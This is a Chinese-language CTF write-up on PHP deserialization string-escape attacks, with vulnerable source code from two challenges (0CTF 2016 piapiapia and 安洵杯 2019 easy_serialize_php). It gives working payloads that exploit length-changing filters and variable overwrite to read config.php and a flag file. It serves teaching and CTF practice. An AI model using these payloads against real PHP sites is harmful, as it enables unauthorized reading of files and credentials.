PHP反序列化字符串逃逸

PHP反序列化字符串逃逸小结

101

正常的序列化字符串进行反序列化

1
2
3
4
5
6
7
8
9
10
echo var_dump(unserialize('O:4:"test":3:{s:2:"id";s:1:"1";s:4:"user";s:5:"admin";s:4:"pass";s:5:"admin";}'));

object(test)#2 (3) {
["id"]=>
string(1) "1"
["user"]=>
string(5) "admin"
["pass"]=>
string(5) "admin"
}

非正常

1
2
3
4
5
6
7
8
9
10
echo var_dump(unserialize('O:4:"test":3:{s:2:"id";s:1:"1";s:4:"user";s:5:"admin";s:4:"pass";s:6:"hacked";}";s:4:"pass";s:5:"admin";}'));

object(test)#2 (3) {
["id"]=>
string(1) "1"
["user"]=>
string(5) "admin"
["pass"]=>
string(6) "hacked"
}

这里我们把用户名处的数据改为 admin";s:4:"pass";s:6:"hacked";}
而之后的 ";s:4:"pass";s:5:"admin";} 则会被忽略

[0CTF 2016]piapiapia

1
2
3
4
5
6
7
8
9
10
#update.php
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));

在更新信息时,nickname参数可以使用数组类型bypass长度限制
但无法直接控制 $profile['photo'] 的内容

1
2
3
4
5
6
7
8
9
#profile.php
$username = $_SESSION['username'];
$profile=$user->show_profile($username);

$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));

在显示信息时, $profile['photo'] 为读取的文件
此题思路即为将该参数的内容改为存有flag的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#class.php
public function show_profile($username) {
$username = parent::filter($username);

$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}

public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}

存入信息时,存在字符替换,其中"where" -> "hacker"存在字符串长度变长的问题

1
2
3
4
5
6
7
8
#config.php
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>

需要读取的文件为config.php

简单测试一下序列化的结果

1
2
3
4
5
6
7
8
9
$file['tmp_name'] = '11111';
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = '11111111111';
$profile['email'] = '1@1.1';
$profile['nickname'] = array('1111111111');
$profile['photo'] = 'upload/' . md5($file['name']);
echo serialize($profile);

a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:5:"1@1.1";s:8:"nickname";a:1:{i:0;s:10:"1111111111";}s:5:"photo";s:39:"upload/d41d8cd98f00b204e9800998ecf8427e";}

那么可以在nickname处作一些处理,我们要读取的内容为config.php
那么可以设置nickname的值为 1111111111";}s:5:"photo";s:10:"config.php

结果如下

1
a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:5:"1@1.1";s:8:"nickname";a:1:{i:0;s:41:"1111111111";}s:5:"photo";s:10:"config.php";}s:5:"photo";s:39:"upload/d41d8cd98f00b204e9800998ecf8427e";}

但是nickname中i:0;s:41仍然限定了字符串的长度,反序列化时会将 1111111111";}s:5:"photo";s:10:"config.php 作为值
这时候可以用到"where" -> "hacker"这个字符串替换的机制

数据的处理流程为"序列化->处理字符串->反序列化"
那么就存在如下情况

1
{i:0;s:6:"where"";} -> {i:0;s:6:"hacker"";}

输入为where"
而替换之后可以使得"进行逃逸

基于这个情况就可以进行读取文件的操作
输入的nickname为

1
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php

序列化的结果为

1
a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:5:"1@1.1";s:8:"nickname";a:1:{i:0;s:186:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}s:5:"photo";s:39:"upload/d41d8cd98f00b204e9800998ecf8427e";}

进行替换之后为

1
a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:5:"1@1.1";s:8:"nickname";a:1:{i:0;s:186:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}s:5:"photo";s:39:"upload/d41d8cd98f00b204e9800998ecf8427e";}

即可使得所需内容 ";}s:5:"photo";s:10:"config.php 进行逃逸


[安洵杯 2019]easy_serialize_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

粗略看上去是需要控制 $_SESSION['img'] 这个参数来读取,但是这个参数是无法直接进行控制的
即使 extract($_POST); 可以对 $_SESSION['img'] 进行变量覆盖,但是还是会被之后的代码再次覆盖

filter()函数会对一些字符串替换为空,用来处理序列化的结果是不安全的
默认的 $serialize_info

1
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

可以考虑使用变量覆盖来重新构造序列化字符串

1
2
3
_SESSION[user]=&_SESSION[function]=

a:3:{s:4:"user";s:0:"";s:8:"function";s:0:"";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

可以在function处构造img参数
然后在user处构造被过滤的字符串,将fuction转为user的值,从而使function处构造的img参数可以逃逸

1
2
3
_SESSION[user]=phpflagflagphpflagflag&_SESSION[function]=;s:1:"a";s:1:"a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

a:3:{s:4:"user";s:22:"";s:8:"function";s:56:";s:1:"a";s:1:"a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

对序列化的结果进行操作是不安全的,应当尽量避免